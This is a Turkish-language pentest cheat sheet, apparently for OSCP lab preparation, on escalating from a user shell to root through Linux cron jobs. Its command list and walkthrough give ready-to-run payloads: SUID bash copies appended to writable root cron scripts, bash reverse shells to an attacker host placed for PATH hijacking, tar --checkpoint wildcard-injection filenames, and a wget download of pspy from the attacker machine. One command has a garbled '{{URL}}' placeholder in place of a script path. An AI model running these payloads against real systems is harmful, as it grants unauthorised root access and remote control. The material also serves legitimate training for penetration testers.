FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

Cron Job Privilege Escalation (writable scripts, PATH ve wildcard abuse, pspy)

root tarafindan calistirilan cron job'lari kesfedip; yazilabilir script, gus PATH, gus wildcard veya yakalanan gecici dosyalar uzerinden root'a yetki yukseltme. Gizli/zamanli job'lari pspy ile tespit etme.

Bilgi: ÖN KOŞULLAR
  • Hedef uzerinde bir kullanici shell'i (user-level access)
  • Cron scriptleri okuma/yazma izinlerini incelemek icin dosya sistemine erisim
┌──

Komutlar

crontab ✓ EXAM-SAFE user
crontab -l
Mevcut kullanicinin kisisel cron job'larini listele HackTricks — Linux Privilege Escalation (Cron jobs)
cat ✓ EXAM-SAFE user
cat /etc/crontab
Sistem genelindeki cron tablosunu oku — PATH degiskenini ve root job'larini gor HackTricks — Linux Privilege Escalation (Cron jobs)
ls ✓ EXAM-SAFE user
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
Tum cron dizinlerini ve icindeki scriptlerin izinlerini listele HackTricks — Linux Privilege Escalation (Cron jobs)
cat ✓ EXAM-SAFE user
cat /etc/cron.d/*
cron.d altindaki ozel job tanimlarini oku HackTricks — Linux Privilege Escalation (Cron jobs)
grep ✓ EXAM-SAFE user
grep -rln "" /var/spool/cron/ 2>/dev/null; ls -la /var/spool/cron/crontabs/ 2>/dev/null
Kullanici bazli cron spool dosyalarini bul (root dahil diger kullanicilarin job'lari) HackTricks — Linux Privilege Escalation (Cron jobs)
find ✓ EXAM-SAFE user
find / -name "*.sh" -perm -o+w -type f 2>/dev/null
Herkesin yazabildigi (world-writable) shell scriptlerini bul — cron tarafindan calistirilanlar hedef HackTricks — Linux Privilege Escalation (Cron jobs)
bash ✓ EXAM-SAFE user
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> {{URL}}
Yazilabilir cron scriptine SUID bash kopyalayan payload ekle ([UNVERIFIED] {{URL}} yerine scriptin tam yolu, ornek /opt/backup.sh) HackTricks — Linux Privilege Escalation (Cron jobs)
bash ✓ EXAM-SAFE user
/tmp/rootbash -p
Cron tetiklendikten sonra olusan SUID bash ile root shell al HackTricks — Linux Privilege Escalation (Cron jobs)
bash ✓ EXAM-SAFE user
printf '#!/bin/bash\nbash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\n' > /tmp/overwrite.sh; chmod +x /tmp/overwrite.sh
Cron PATH abuse icin sahte binary/script olustur (PATH'te oncelikli dizine konacak isimle) HackTricks — Linux Privilege Escalation (Cron PATH)
bash ✓ EXAM-SAFE user
echo 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1' > /home/user/overwrite.sh; chmod +x /home/user/overwrite.sh
/etc/crontab PATH degiskeni yazilabilir bir dizinle basliyorsa (orn. PATH=/home/user:...), job'in cagirdigi komut adiyla esleyen dosyayi o dizine koy HackTricks — Linux Privilege Escalation (Cron with PATH)
bash ✓ EXAM-SAFE user
touch /home/loot/--checkpoint=1; touch /home/loot/'--checkpoint-action=exec=sh runme.sh'; printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash\n' > /home/loot/runme.sh
Cron'da 'tar -czf backup.tar.gz *' gibi wildcard kullaniliyorsa, GTFOBins tar checkpoint injection ile komut calistir GTFOBins: tar — wildcard injection
pspy ✓ EXAM-SAFE user
./pspy64 -pf -i 1000
root tarafindan calistirilan ve crontab -l ile gorunmeyen gizli/zamanli process ve cron job'lari canli izle (kok yetki gerektirmez) HackTricks — pspy (process snooping)
wget ✓ EXAM-SAFE user
wget http://{{LHOST}}:{{LPORT}}/pspy64 -O /tmp/pspy64; chmod +x /tmp/pspy64
pspy binary'sini saldirgan makineden hedefe aktar (binary'siz cron tespiti icin) HackTricks — pspy / File transfer

Senaryo

Linux’ta cron, belirli araliklarla script ve komut calistiran zamanlayicidir. Bu job’lar cogu zaman root kullanicisi ile calisir. Eger root’un calistirdigi bir scripti yazabiliyor, scriptin cagirdigi bir komutu PATH uzerinden ele geciriyor veya wildcard genislemesini suistimal ediyorsak, kullanici yetkisinden root’a tirmaniriz. Bu, OSCP’de en sik gorulen privesc vektorlerinden biridir.

Enumeration

Ilk adim hangi job’larin var oldugunu ve kimin calistirdigini bulmaktir:

  • crontab -l sadece mevcut kullanicinin job’larini gosterir; root job’larini gostermez.
  • /etc/crontab, /etc/cron.d/, /etc/cron.{daily,hourly,weekly,monthly}/ sistem genelindeki job’lari icerir ve genelde root ile calisir.
  • /etc/crontab icindeki PATH= satirini mutlaka oku — PATH hijack saldirisinin temelidir.
  • /var/log/syslog veya /var/log/cron.log (okunabilirse) grep CRON ile tetikleme zamanlarini ve calisan komutlari sizdirabilir.

Gizli job’lari pspy ile yakalama

Bazi job’lar dosya sisteminde gorunur tanim birakmaz (orn. baska bir scheduler veya gomulu bir loop). pspy, root ayricaligi olmadan process tablosunu yuksek frekansta poll’leyerek calisan komutlari ve onlarin tam argumanlarini gosterir. Statik bir Go binary’sidir, hedefte derleme gerekmez; pspy64’u wget/scp ile aktarip chmod +x yapip calistirmak yeterlidir. Job’in ne sikta ve hangi komutla ciktigini gormek exploit’i hedeflemenin anahtaridir.

Exploitation yollari

1) Yazilabilir cron script

Job’in cagirdigi .sh dosyasinin uzerinde yazma iznimiz varsa (find / -perm -o+w ile bulunur), iceriye payload ekleriz. En guvenilir yontem SUID bash birakmaktir: cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash. Job tetiklenince root, bu satiri calistirir ve sonra /tmp/rootbash -p ile root shell alirsin. -p bayragi euid’i koruyup privilege drop’u engeller — unutma. Reverse shell de eklenebilir ama lab’da SUID bash daha stabildir.

2) PATH hijack

/etc/crontab PATH’i bizim yazabildigimiz bir dizinle (orn. /home/<user>) basliyorsa ve job mutlak yol vermeden bir komut cagiriyorsa (orn. sadece backup veya overwrite.sh), o komut adiyla esleyen kotu niyetli bir dosyayi PATH’in ilk dizinine koyariz. Cron, PATH’i soldan saga tarayacagi icin once bizimkini bulur.

3) Wildcard injection (tar)

Job cd /backup && tar -czf out.tar.gz * gibi wildcard iceriyorsa, glob genislemesi dizindeki dosya isimlerini argumana cevirir. Saldirgan, isimleri tar bayraklarina benzeyen dosyalar olusturarak (--checkpoint=1, --checkpoint-action=exec=sh runme.sh) tar’a komut calistirtir. Bu GTFOBins tar tekniginin klasik uygulamasidir; ayni mantik rsync, chown, chmod wildcard’larinda da gecerlidir.

Gotchas / Notlar

  • Job’in tetikleme periyodunu pspy ile dogrula; aksi halde payload’inin neden calismadigini anlamadan beklersin.
  • Payload eklerken scriptin syntax’ini bozma — >> ile ekle, dosyayi sifirlama.
  • --checkpoint dosyalarini olustururken cd ile dogru dizine girdiginden ve glob’un orada calistigindan emin ol.
  • Temizlik: /tmp/rootbash, sahte PATH binary’leri ve --checkpoint dosyalarini is bittikten sonra kaldir.
  • Otomatik enum icin linpeas.sh zaten tum cron yollarini ve yazilabilir scriptleri vurgular; ama exploit’i elle kurmak OSCP’de beklenir.
┌──

Kaynaklar

0/15 set